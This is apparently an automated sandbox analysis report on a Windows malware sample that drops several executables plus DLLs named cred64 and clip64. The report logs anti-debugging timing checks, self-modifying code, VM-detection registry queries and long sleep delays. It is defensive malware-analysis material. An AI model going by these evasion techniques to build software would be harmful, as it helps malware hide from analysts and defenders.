Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54205BA second address: 54205F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 pushad 0x0000000a movsx ebx, cx 0x0000000d jmp 00007F17B0CB142Eh 0x00000012 popad 0x00000013 sub esp, 1Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F17B0CB1437h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54205F2 second address: 54205F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54205F8 second address: 54205FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54205FC second address: 5420680 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC26Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d mov dx, ax 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F17B0FBC26Dh 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F17B0FBC26Ch 0x0000001f and ecx, 6BBBFEF8h 0x00000025 jmp 00007F17B0FBC26Bh 0x0000002a popfd 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F17B0FBC276h 0x00000032 sub esi, 56625958h 0x00000038 jmp 00007F17B0FBC26Bh 0x0000003d popfd 0x0000003e movzx eax, dx 0x00000041 popad 0x00000042 popad 0x00000043 push esi 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F17B0FBC26Ah 0x0000004d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420680 second address: 542068F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB142Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 542068F second address: 54206BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC279h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F17B0FBC26Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54206BE second address: 5420706 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB1431h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007F17B0CB142Eh 0x0000000f push eax 0x00000010 jmp 00007F17B0CB142Bh 0x00000015 xchg eax, edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F17B0CB1435h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420706 second address: 5420716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0FBC26Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420716 second address: 5420763 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [76FBB370h] 0x0000000d jmp 00007F17B0CB1437h 0x00000012 xor dword ptr [ebp-08h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 movsx ebx, si 0x0000001b pushfd 0x0000001c jmp 00007F17B0CB142Ch 0x00000021 or esi, 511366C8h 0x00000027 jmp 00007F17B0CB142Bh 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420763 second address: 54207BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 movsx ebx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor eax, ebp 0x0000000d jmp 00007F17B0FBC273h 0x00000012 nop 0x00000013 jmp 00007F17B0FBC276h 0x00000018 push eax 0x00000019 jmp 00007F17B0FBC26Bh 0x0000001e nop 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F17B0FBC275h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54207BE second address: 5420821 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F17B0CB1437h 0x00000008 pop esi 0x00000009 mov ax, bx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f lea eax, dword ptr [ebp-10h] 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007F17B0CB142Ah 0x00000019 pushfd 0x0000001a jmp 00007F17B0CB1432h 0x0000001f and eax, 7E1AD2A8h 0x00000025 jmp 00007F17B0CB142Bh 0x0000002a popfd 0x0000002b popad 0x0000002c popad 0x0000002d mov dword ptr fs:[00000000h], eax 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420821 second address: 5420827 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420827 second address: 542083E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB142Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 542083E second address: 542085B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC279h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 542085B second address: 542086B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0CB142Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 542086B second address: 5420904 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+10h] 0x0000000b pushad 0x0000000c mov di, 04B0h 0x00000010 jmp 00007F17B0FBC279h 0x00000015 popad 0x00000016 test eax, eax 0x00000018 pushad 0x00000019 mov dx, ax 0x0000001c push esi 0x0000001d pushfd 0x0000001e jmp 00007F17B0FBC26Fh 0x00000023 adc cl, FFFFFFBEh 0x00000026 jmp 00007F17B0FBC279h 0x0000002b popfd 0x0000002c pop eax 0x0000002d popad 0x0000002e jne 00007F1822A5B6BFh 0x00000034 jmp 00007F17B0FBC277h 0x00000039 sub eax, eax 0x0000003b pushad 0x0000003c mov bl, D0h 0x0000003e jmp 00007F17B0FBC26Eh 0x00000043 popad 0x00000044 mov dword ptr [ebp-20h], eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420904 second address: 542090B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov al, bh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 542090B second address: 542099F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F17B0FBC26Bh 0x00000009 or eax, 376688DEh 0x0000000f jmp 00007F17B0FBC279h 0x00000014 popfd 0x00000015 mov ecx, 6029A7A7h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ebx, dword ptr [esi] 0x0000001f pushad 0x00000020 mov dx, si 0x00000023 mov edx, eax 0x00000025 popad 0x00000026 mov dword ptr [ebp-24h], ebx 0x00000029 pushad 0x0000002a mov di, cx 0x0000002d pushfd 0x0000002e jmp 00007F17B0FBC278h 0x00000033 sbb al, 00000038h 0x00000036 jmp 00007F17B0FBC26Bh 0x0000003b popfd 0x0000003c popad 0x0000003d test ebx, ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 mov bh, 9Bh 0x00000044 pushfd 0x00000045 jmp 00007F17B0FBC26Ch 0x0000004a xor ch, FFFFFF98h 0x0000004d jmp 00007F17B0FBC26Bh 0x00000052 popfd 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 542099F second address: 54209A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410EC9 second address: 5410F26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 pushfd 0x00000007 jmp 00007F17B0FBC26Bh 0x0000000c sub ax, 361Eh 0x00000011 jmp 00007F17B0FBC279h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F17B0FBC271h 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F17B0FBC26Eh 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410F26 second address: 5410F2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410F2A second address: 5410F2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410F2E second address: 5410F34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410F34 second address: 5410F43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0FBC26Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: CB072B second address: CB072F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: CB072F second address: CB0761 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC278h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F17B0FBC273h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: CC7A2A second address: CC7A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F17B0CB1430h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: CC7A40 second address: CC7A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: CC7A45 second address: CC7A67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F17B0CB1426h 0x00000013 jmp 00007F17B0CB142Fh 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: CC7A67 second address: CC7A71 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: CC7A71 second address: CC7A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F17B0CB1426h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: CC7BE4 second address: CC7BFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F17B0FBC26Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: CC7BFD second address: CC7C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Special instruction interceptor: First address: CAEC6E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Special instruction interceptor: First address: E5F914 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Special instruction interceptor: First address: EF0762 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Special instruction interceptor: First address: B3EC6E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Special instruction interceptor: First address: CEF914 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Special instruction interceptor: First address: D80762 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Special instruction interceptor: First address: D6B995 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Special instruction interceptor: First address: F25D6E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Special instruction interceptor: First address: FAA64E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Special instruction interceptor: First address: 78B995 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Special instruction interceptor: First address: 945D6E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Special instruction interceptor: First address: 9CA64E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Special instruction interceptor: First address: CD5B03 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Special instruction interceptor: First address: CD59FF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Special instruction interceptor: First address: E7071C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Special instruction interceptor: First address: E7039A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Special instruction interceptor: First address: E978BA instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: 785B03 instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: 7859FF instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: 92071C instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: 92039A instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: 9478BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: 435B03 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: 4359FF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: 5D071C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: 5D039A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: 5F78BA instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe

Code function: 0_2_05470C1D rdtsc

0_2_05470C1D

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Thread delayed: delay time: 180000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4858
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4988
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Window / User API: threadDelayed 1127
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Window / User API: threadDelayed 453
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8771
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 590
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Window / User API: threadDelayed 1260
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Window / User API: threadDelayed 355
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Window / User API: threadDelayed 469

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_1-10901

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[2].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\sarra[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cred64[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 6808	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 6808	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 7216	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 7076	Thread sleep count: 202 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 7076	Thread sleep time: -6060000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 7184	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 7184	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 5460	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 5460	Thread sleep time: -82041s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 2004	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 2840	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 4416	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 4416	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 7076	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6236	Thread sleep time: -59000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6128	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 7916	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 7920	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 7772	Thread sleep count: 132 > 30
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 7772	Thread sleep time: -3960000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 2360	Thread sleep time: -1080000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 7772	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8048	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe TID: 4500	Thread sleep count: 83 > 30
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe TID: 4828	Thread sleep count: 32 > 30
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6448	Thread sleep count: 37 > 30
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6448	Thread sleep time: -37000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2120	Thread sleep count: 8771 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4008	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2120	Thread sleep count: 590 > 30
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe TID: 8104	Thread sleep count: 1260 > 30
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe TID: 8104	Thread sleep count: 355 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 7740	Thread sleep count: 47 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 6016	Thread sleep count: 47 > 30
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe TID: 4948	Thread sleep count: 36 > 30
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe TID: 4948	Thread sleep count: 111 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8112	Thread sleep count: 44 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8112	Thread sleep count: 98 > 30
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe TID: 2648	Thread sleep count: 469 > 30

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Thread sleep count: Count: 1127 delay: -10
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Thread sleep count: Count: 1260 delay: -10

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Thread delayed: delay time: 30000
